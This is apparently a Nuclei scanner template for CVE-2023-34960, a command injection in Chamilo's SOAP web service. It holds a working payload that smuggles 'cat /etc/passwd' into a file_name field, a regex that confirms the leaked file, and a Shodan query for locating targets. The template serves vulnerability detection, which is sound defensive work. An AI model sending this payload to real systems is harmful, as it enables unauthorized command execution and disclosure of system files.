id: CVE-2023-34960

info:
  name: Chamilo Command Injection
  author: DhiyaneshDK
  severity: high
  reference:
    - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D
    - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py
  metadata:
    max-request: 1
    verified: "true"
    shodan-query: http.component:"Chamilo"
  tags: cve,cve2023,chamilo

http:
  - raw:
      - |
        POST /main/webservices/additional_webservices.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="UTF-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: word
        part: header
        words:
          - text/xml

      - type: status
        status:
          - 200